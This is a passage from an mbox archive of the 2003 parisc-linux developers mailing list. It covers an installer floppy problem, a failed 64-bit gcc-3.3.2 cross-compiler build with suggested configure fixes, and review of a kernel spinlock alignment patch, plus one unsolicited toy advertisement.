List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20223

Grant Grundler wrote:
>> Can someone tell me how to pass this step?
> <arrow down> key to skip this step?

No, I haven't any choice: when I ask to install kernel and modules, it
downloads  current/32/images-1.44/rescue.bin and  current/32/linux.bin , and
then begins to create rescue floppy (seems to but is blocked)

CrazyCat from C-P-F.org



From - Thu Nov 08 21:30:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] gcc-3.3.2 - 64bit failled to build?
Date: Wed, 26 Nov 2003 10:23:45 +0100
Lines: 59
Approved: news@gmane.org
Message-ID: <3FB2652500007F03@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623000 2390 80.91.229.3 (22 Nov 2014 02:23:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:20 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 26 02:23:49 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 114DC4840
	for <parisc-linux@parisc-linux.org>; Wed, 26 Nov 2003 02:23:49 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1AOvtj-0004ih-00
	for <parisc-linux@parisc-linux.org>; Wed, 26 Nov 2003 10:23:47 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Wed, 26 Nov 2003 10:23:45 +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20224

Hi all,

I am trying to rebuild gcc-3.3.2 64bits following Carlos build xc howto.

I am using gcc-3.3.2-4 debian pkg src; after the extraction of src with 'dpkg-source
-x gcc-3.3_3.3.2ds5-4.dsc', then in src tree apply debian patches (and get
the actual src by the way).

The build of the tool chain 32bit works fine as well as binutils 64bits but
the build of the patial gcc 64bit (let say kgcc) with following configure
options (the same as 32bit but the target 64bits):
../src/configure --target=hppa64-linux --host=hppa-linux --prefix=/opt/parisc
--disable-shared --disable-nls --without-libc --enable-langages=c

failled with messages:

/Develop/parisc-linux/build/gcc/gcc/xgcc -B/Develop/parisc-linux/build/gcc/gcc/
-B/opt/palinux/hppa64-linux/bin/ -B/opt/palinux/hppa64-linux/lib/ -isystem
/opt/palinux/hppa64-linux/include -O2  -DIN_GCC -DCROSS_COMPILE   -W -Wall
-Wwrite-strings -Wstrict-prototypes -Wmissing-prototypes -isystem ./include
 -fPIC -Dpa64=1 -DELF=1 -g -DHAVE_GTHR_DEFAULT -DIN_LIBGCC2 -D__GCC_FLOAT_NOT_NEEDED
-Dinhibit_libc -I. -I. -I/Develop/parisc-linux/sources/gcc/gcc -I/Develop/parisc-linux/sources/gcc/gcc/.
-I/Develop/parisc-linux/sources/gcc/gcc/config -I/Develop/parisc-linux/sources/gcc/gcc/../include
-fexceptions -c /Develop/parisc-linux/sources/gcc/gcc/unwind-dw2.c -o libgcc/./unwind-dw2.o
In file included from /Develop/parisc-linux/sources/gcc/gcc/unwind-dw2.c:26:
/Develop/parisc-linux/sources/gcc/gcc/unwind-pe.h: In function `size_of_encoded_value':
/Develop/parisc-linux/sources/gcc/gcc/unwind-pe.h:76: warning: implicit declaration
of function `abort'
In file included from gthr-default.h:1,
                 from /Develop/parisc-linux/sources/gcc/gcc/gthr.h:98,
                 from /Develop/parisc-linux/sources/gcc/gcc/unwind-dw2.c:28:
/Develop/parisc-linux/sources/gcc/gcc/gthr-posix.h:37:21: pthread.h: No such
file or directory
/Develop/parisc-linux/sources/gcc/gcc/gthr-posix.h:38:20: unistd.h: No such
file or directory
In file included from gthr-default.h:1,
                 from /Develop/parisc-linux/sources/gcc/gcc/gthr.h:98,
                 from /Develop/parisc-linux/sources/gcc/gcc/unwind-dw2.c:28:
[blabla]

even thought i use --without-libc it seems to look for glibc header: pthread.h
& unistd.h?

Any idea?

Thanks,
    Joel

PS: still interesting to fix it in 3.3.2 or better use 3.4?

 

-------------------------------------------------------------------------
Tiscali ADSL: 12 mois  29,50 /mois! L'Internet rapide, c'est pour tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:30:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Florence Dixon" <itgsjoq@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Remote-Control Boats & Cars - Great Xmas Gifts.....cynara
Date: Thu, 27 Nov 2003 03:59:21 +0200
Lines: 32
Approved: news@gmane.org
Message-ID: <c6o885nfw-u82wcsnksiei@kras9w>
Reply-To: "Florence Dixon" <itgsjoq@yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="44E_69_B7.10738F97.8"
X-Trace: ger.gmane.org 1416623001 2394 80.91.229.3 (22 Nov 2014 02:23:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:21 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 26 07:09:59 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dsl-200-67-75-62.prod-infinitum.com.mx (unknown [200.67.75.62])
	by dsl2.external.hp.com (Postfix) with SMTP id D73B24840
	for <parisc-linux@parisc-linux.org>; Wed, 26 Nov 2003 07:09:51 -0700 (MST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20225

--44E_69_B7.10738F97.8
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<p>New Mini Remote Control Cars &amp; Boats.</p>
<IMG SRC=3D"http://www.onii.org/images/home/stunt_flip.gif" ALT=3D""><a hr=
ef=3D"http://www.eakv.com/?axel=3D49">Follow Us For Fun...</a><br>
<p>Turbo Twister Mini RC stunt cars are the newest RC stunt cars in 
the world! These 2 1/2 inch stunt cars rotate, flip, and tumble everywhere=
!</p>
<IMG SRC=3D"http://www.onii.org/images/home/car_purple.jpg" ALT=3D""><a hr=
ef=3D"http://www.eakv.com/?axel=3D49">Follow Us For Fun...</a><br>
<p>Honda S2000 (yellow) - fully functional wireless remote control (Radio-=
frequency)</p>
<IMG SRC=3D"http://www.onii.org/images/home/boat_yellow.jpg" ALT=3D""><a h=
ref=3D"http://www.eakv.com/?axel=3D49">Follow Us For Fun...</a><br>
<p>Mini RC Ocean Runner Boat (yellow) - Fully functional remote control bo=
at with 6 way remote control.</p>
<br>
<br>
<br>
<br>
<a href=3D"http://www.5jzd.org/out5s/rem2e-bak.asp">No more advertisements=
</a></p>
<br>
<br>
<br>
<br>jphrfmh

--44E_69_B7.10738F97.8--



From - Thu Nov 08 21:30:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-3.3.2 - 64bit failled to build?
Date: Wed, 26 Nov 2003 07:42:13 -0800
Lines: 12
Approved: news@gmane.org
Message-ID: <20031126154213.GO975@tausq.org>
References: <3FB2652500007F03@ocpmta2.freegates.net>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623001 2398 80.91.229.3 (22 Nov 2014 02:23:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:21 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 26 08:39:41 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 47EF94840
	for <parisc-linux@parisc-linux.org>; Wed, 26 Nov 2003 08:39:41 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 6C492CD294; Wed, 26 Nov 2003 07:42:13 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <3FB2652500007F03@ocpmta2.freegates.net>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20226

> ../src/configure --target=hppa64-linux --host=hppa-linux --prefix=/opt/parisc
> --disable-shared --disable-nls --without-libc --enable-langages=c

try this:
../gcc-3.3/configure --host=hppa-linux --build=hppa-linux --target=hppa64-linux --disable-shared --disable-nls --enable-languages=c --prefix=/opt/palinux --enable-sjlj-exceptions --disable-threads

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:30:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] rewrite kernel spinlock code to work better with gcc
Date: Wed, 26 Nov 2003 11:54:30 -0500 (EST)
Lines: 47
Approved: news@gmane.org
Message-ID: <200311261654.hAQGsUCa011684@hiauly1.hia.nrc.ca>
References: <20031126070714.GN975@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623001 2402 80.91.229.3 (22 Nov 2014 02:23:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:21 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: randolph@tausq.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 26 09:54:34 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id CCE014840
	for <parisc-linux@lists.parisc-linux.org>; Wed, 26 Nov 2003 09:54:33 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id hAQGsV2v011685;
	Wed, 26 Nov 2003 11:54:31 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id hAQGsUCa011684;
	Wed, 26 Nov 2003 11:54:30 -0500 (EST)
In-Reply-To: <20031126070714.GN975@tausq.org> from "Randolph Chung" at Nov 25, 2003 11:07:14 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20227

> +/* Because kmalloc only guarantees 8-byte alignment for kmalloc'd data,
> +   and GCC only guarantees 8-byte alignment for stack locals, we can't
> +   be assured of 16-byte alignment for atomic lock data even if we
> +   specify "__attribute ((aligned(16)))" in the type declaration.  So,
> +   we use a struct containing an array of four ints for the atomic lock
> +   type and dynamically select the 16-byte aligned int from the array
> +   for the semaphore.  */
> +#define __PA_LDCW_ALIGNMENT 16
> +#define __ldcw_align(a) ({ \
> +  unsigned long __ret = (unsigned long) a;                     		\
> +  __ret = (__ret + __PA_LDCW_ALIGNMENT - 1) & ~(__PA_LDCW_ALIGNMENT - 1); \
> +  (unsigned int *) __ret;                                               \
> +})

Change cast to "volatile unsigned int *".

>  typedef struct {
> -	volatile unsigned int __attribute__((aligned(16))) lock;
> +	volatile unsigned int lock[4];
>  } spinlock_t;
>  #endif

Is the struct necessary?  For example,

  typedef volatile unsigned int spinlock_t[4];

I believe that there are situations where the rest of the cache line
holding the active lock word should not be used.  The PA 1.x document
says

  When using semaphores to synchonize with I/O, care must be taken
  in placing other information in the same cache line as the semaphore.
  Data which is writeable can only be placed in the same cache line
  as a semaphore if access to write the data is controlled by the
  semaphore.

I think this restriction only applies to semaphores used both by
I/O and CPU processors, and it's not a concern for semaphores used
solely by CPU processors.  If we have locks used by I/O processors
and they are stack allocated, then some extra padding would appear
to be needed for these locks.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:30:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-3.3.2 - 64bit failled to build?
Date: Wed, 26 Nov 2003 13:19:35 -0500
Lines: 57
Approved: news@gmane.org
Message-ID: <20031126181935.GJ27674@systemhalted>
References: <3FB2652500007F03@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623002 2405 80.91.229.3 (22 Nov 2014 02:23:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:22 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 26 11:25:36 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id CB2344840
	for <parisc-linux@parisc-linux.org>; Wed, 26 Nov 2003 11:25:35 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1AP4GG-0001nU-00; Wed, 26 Nov 2003 13:19:36 -0500
Content-Disposition: inline
In-Reply-To: <3FB2652500007F03@ocpmta2.freegates.net>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (21% Sync Ratio [==........])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20228

On Wed, Nov 26, 2003 at 10:23:45AM +0100, Joel Soete wrote:
> Hi all,
> 
> I am trying to rebuild gcc-3.3.2 64bits following Carlos build xc howto.
> 
> I am using gcc-3.3.2-4 debian pkg src; after the extraction of src with 'dpkg-source
> -x gcc-3.3_3.3.2ds5-4.dsc', then in src tree apply debian patches (and get
> the actual src by the way).
> 
> The build of the tool chain 32bit works fine as well as binutils 64bits but
> the build of the patial gcc 64bit (let say kgcc) with following configure
> options (the same as 32bit but the target 64bits):
> ../src/configure --target=hppa64-linux --host=hppa-linux --prefix=/opt/parisc
> --disable-shared --disable-nls --without-libc --enable-langages=c
> 
> failled with messages:
> 
> /Develop/parisc-linux/build/gcc/gcc/xgcc -B/Develop/parisc-linux/build/gcc/gcc/
> -B/opt/palinux/hppa64-linux/bin/ -B/opt/palinux/hppa64-linux/lib/ -isystem
> /opt/palinux/hppa64-linux/include -O2  -DIN_GCC -DCROSS_COMPILE   -W -Wall
> -Wwrite-strings -Wstrict-prototypes -Wmissing-prototypes -isystem ./include
>  -fPIC -Dpa64=1 -DELF=1 -g -DHAVE_GTHR_DEFAULT -DIN_LIBGCC2 -D__GCC_FLOAT_NOT_NEEDED
> -Dinhibit_libc -I. -I. -I/Develop/parisc-linux/sources/gcc/gcc -I/Develop/parisc-linux/sources/gcc/gcc/.
> -I/Develop/parisc-linux/sources/gcc/gcc/config -I/Develop/parisc-linux/sources/gcc/gcc/../include
> -fexceptions -c /Develop/parisc-linux/sources/gcc/gcc/unwind-dw2.c -o libgcc/./unwind-dw2.o
> In file included from /Develop/parisc-linux/sources/gcc/gcc/unwind-dw2.c:26:
> /Develop/parisc-linux/sources/gcc/gcc/unwind-pe.h: In function `size_of_encoded_value':
> /Develop/parisc-linux/sources/gcc/gcc/unwind-pe.h:76: warning: implicit declaration
> of function `abort'
> In file included from gthr-default.h:1,
>                  from /Develop/parisc-linux/sources/gcc/gcc/gthr.h:98,
>                  from /Develop/parisc-linux/sources/gcc/gcc/unwind-dw2.c:28:
> /Develop/parisc-linux/sources/gcc/gcc/gthr-posix.h:37:21: pthread.h: No such
> file or directory
> /Develop/parisc-linux/sources/gcc/gcc/gthr-posix.h:38:20: unistd.h: No such
> file or directory
> In file included from gthr-default.h:1,
>                  from /Develop/parisc-linux/sources/gcc/gcc/gthr.h:98,
>                  from /Develop/parisc-linux/sources/gcc/gcc/unwind-dw2.c:28:
> [blabla]
> 
> even thought i use --without-libc it seems to look for glibc header: pthread.h
> & unistd.h?
> 
> Any idea?

You need the userspace headers for 64-bits. They don't exist, so I
normally hack them into place. Please try to use Kegel's crosstools and
see if you can get them building our cross-compiler? :)

If you want a quick fix, grab a current debian libc6-dev package, unpack
it using -x and move the /usr/include directory to your
$PREFIX/hppa64-linux directory so that the target headers are there.

c.



From - Thu Nov 08 21:30:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-3.3.2 - 64bit failled to build?
Date: Wed, 26 Nov 2003 18:46:37 +0000
Lines: 31
Approved: news@gmane.org
Message-ID: <3FB25B9600008F85@ocpmta1.freegates.net>
References: <20031126181935.GJ27674@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623002 2407 80.91.229.3 (22 Nov 2014 02:23:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:22 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 26 11:46:41 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id C97B34840
	for <parisc-linux@parisc-linux.org>; Wed, 26 Nov 2003 11:46:40 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 1AP4gQ-0000q8-00; Wed, 26 Nov 2003 19:46:38 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Wed, 26 Nov 2003 19:46:37 +0100
In-Reply-To: <20031126181935.GJ27674@systemhalted>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20229

[...]

>You need the userspace headers for 64-bits. They don't exist so I
>normally hack them into place. Please try to use Kegel's crosstools and

The first time I hear about do you have more ref (an url) or I will googelize
it tomorrow :)

>see if you can get them building our cross-compiler? :)
>
>If you want a quick fix, grab a current debian libc6-dev package, unpack
>it using -x and move the /usr/include d
>rectory to your
>$PREFIX/hppa64-linux directory so that the target headers are there.

That is easiest, I will also check it.

Thanks,
    Joel

PS: Randolph tips works also, I obtain a hppa64-linux-gcc (3.3.2-ds5) which
allow me  to obtain a kernel 2.4.23-rc5-pa17 64bit which boot fine on my
b2k :)

-------------------------------------------------------------------------
Tiscali ADSL: 12 mois  29,50 /mois! L'Internet rapide, c'est pour tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:30:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-3.3.2 - 64bit failled to build?
Date: Wed, 26 Nov 2003 18:51:57 +0000
Lines: 24
Approved: news@gmane.org
Message-ID: <3FB25B9600008F91@ocpmta1.freegates.net>
References: <20031126154213.GO975@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623002 2408 80.91.229.3 (22 Nov 2014 02:23:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:22 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "Randolph Chung" <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 26 11:52:01 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7A9A84840
	for <parisc-linux@parisc-linux.org>; Wed, 26 Nov 2003 11:52:01 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 1AP4la-0002G4-00; Wed, 26 Nov 2003 19:51:58 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Wed, 26 Nov 2003 19:51:57 +0100
In-Reply-To: <20031126154213.GO975@tausq.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20230

>try this:
>../gcc-3.3/configure --host=hppa-linux --build=hppa-linux --target=hppa64-linux

> --disable-shared --disable-nls --enable-languages=c --prefix=/opt/palinux

> --enable-sjlj-exceptions --disable-threads

Well I test it first and as mentionned to Carlos it allow me to obtain a
kernel 2.4.23-rc5-pa17 64 bits (not yet test your last patch sorry) which
boot fine on my b2k :))

Many thanks,
    Joel

PS: Next step, see i can boot 2.6.0-test10-pa1 64bit on the N4K (b2k still
have a pb iirc)

-------------------------------------------------------------------------
Tiscali ADSL: 12 mois  29,50 /mois! L'Internet rapide, c'est pour tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:30:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] C3000 and 2.6 - need config help
Date: Thu, 27 Nov 2003 03:07:18 +0000 (GMT)
Lines: 36
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0311270244030.9783@sal.ucc.ie>
References: <Pine.LNX.4.58.0311201817470.21743@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
